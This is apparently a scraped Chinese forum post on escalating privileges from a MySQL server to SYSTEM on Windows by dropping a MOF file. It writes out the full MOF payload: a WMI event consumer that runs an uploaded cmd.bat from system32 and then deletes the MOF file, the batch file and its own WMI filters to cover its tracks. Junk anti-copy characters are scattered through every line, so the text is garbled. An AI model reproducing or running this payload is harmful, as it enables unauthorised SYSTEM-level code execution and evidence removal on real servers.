这个sql提权MOF需要运行 system下的文件,不能定义路径。
% E" v9 P( `( G& c( W% O* r d需要将要运行的命令写入到bat上传到system32目录,然后执行。
7 z# S5 Q7 \4 W
! G1 Q. e7 \* F- Q! i这个sql提权MOF需要运行 system下的文件,不能定义路径。 i+ |6 u! y6 b/ B8 B! n4 H
需要将要运行的命令写入到bat上传到system32目录,然后执行。
9 S6 [' U% u0 G( I* v) G# J
8 m8 G6 }8 s, F8 k#pragma
7 N6 }# C! K4 M2 @$ p2 K3 U namespace("\\\\.\\root\\cimv2")- u& w8 M& p: G% D# F7 q
class
: m8 e+ R0 O3 D$ T+ R" P, H& k MyClass547
; o7 o% X! P& Q$ G4 m' g7 X { [key]
7 @+ p7 c7 e r* `2 s string& n( Q4 u8 M# E% p$ R
Name;4 c8 d% u9 |# r7 u& d
};
1 |+ b6 j$ h- m7 x" {- } class* E' J2 \9 O$ x6 G0 c, N8 e
ActiveScriptEventConsumer, K: t: ?( S u
: __EventConsumer { [key]* S7 x9 ?% `1 T0 V* C
string1 @5 O! i- [, u3 Z3 A
Name; [not_null]* J: z+ K3 v) P+ z8 `% T6 o$ |
string
) q+ Y5 K$ ^& E. Y2 b) {4 H ScriptingEngine; string
6 M t' r$ k+ ], a1 y- W m/ m ScriptFileName; [template]% N1 ?0 |4 b, n. @& c7 J
string
- b9 h2 B6 M; k ]: g7 i" ^# B0 n ScriptText; uint32 KillTimeout;0 S" O3 p7 K. {! v2 B; U( K
}; instance of __Win32Provider as $P {# J6 h2 i1 I* O9 F& Q3 ?7 J
Name. R6 o: ?9 D4 b/ P: C
=
3 g8 U, e& K+ ^ "ActiveScriptEventConsumer"; CLSID =
8 {7 E% S I# A8 z7 Y; G% e "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";3 v- h5 s# G- K$ `! ?/ d. q# w
PerUserInitialization
/ V2 D+ w8 k" x. s! k) D = TRUE;
+ Q8 d! @) \ h1 I4 {. R }; instance of __EventConsumerProviderRegistration { Provider
- P1 j9 L, z! z. }, W9 }) @ = $P; ConsumerClassNames
2 e% J- d( G8 W+ M$ [ =- M: L5 b7 c; t4 _7 K
{"ActiveScriptEventConsumer"};
9 {9 h; d/ L# H+ Q5 r };
' g* A7 e+ {6 D! w" W Instance of ActiveScriptEventConsumer: _/ I& z% b* C
as $cons { Name
5 d) A6 y3 ~5 z' K% t =
' ]& V! O* g. ~3 Z+ j1 Y "ASEC"; ScriptingEngine
7 j$ T! m2 R* u =
: A1 N5 F$ x; k+ `( f8 ~# H9 ~ "JScript"; ScriptText$ B% S( A: W; ]0 X2 w0 _ G. W# d$ D! V
=. S e* g# ?: `% F* @
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
& M3 N8 }8 s: K6 }7 W; y3 f5 m Instance of ActiveScriptEventConsumer
" Y6 l% J5 ^* t( D9 D$ I; v as $cons2 { Name, X8 [4 w6 S$ U9 p" F
= W, R1 E3 U' N, y: |3 q
"qndASEC"; ScriptingEngine2 f; p2 V% f6 g3 o
=
1 {: {: n% }1 o8 I "JScript"; ScriptText- {$ f3 z1 O) }3 v9 G1 i2 d
=
9 l/ ]- r1 E4 o4 L% d& ~8 Y! } "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
$ ?# T8 S1 K, z: N4 | }; instance of __EventFilter as $Filt { Name
, N% l$ e3 y% g2 A =2 L! @) ]9 t+ b9 k( w; \" ?3 W
"instfilt"; Query
. ~5 A- c/ K q8 A =+ J4 L! Y# w/ W; M
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage0 l. Y! ~; f' h+ [% |) z
=8 R3 i7 V; v& f6 {
"WQL"; }; instance of __EventFilter as $Filt2 { Name
4 R0 j! a B: b% [1 A =1 t B g1 I4 s. \
"qndfilt"; Query3 R, m, K3 N5 P, U" v7 p6 ^' j
=
! N7 z# V% d! ?3 ?1 j' r x# z D "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage0 q+ \5 U& u f! L- R* {" \
=
9 v" `+ {, k4 u, \ "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer% v, I: z4 q3 v( ^5 S$ M; f$ {7 O7 Q8 K
= $cons; Filter
7 P# v2 d' ^0 ]3 D) ? = $Filt;" ]6 M \: A* S' f7 S& d% R) u
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
6 x6 ^) e# t) s3 T = $cons2; Filter: U: v5 W5 e1 G% ?
= $Filt2;
' l0 }: p2 y! ~- } }; instance of MyClass547
% ], i: y3 z. n O$ V as $MyClass { Name! O/ v/ A: u/ \5 T, b u& C
=8 s9 k/ E# V8 T* m' e" F+ q, s
"ClassConsumer";( U s4 n3 N# J
}; |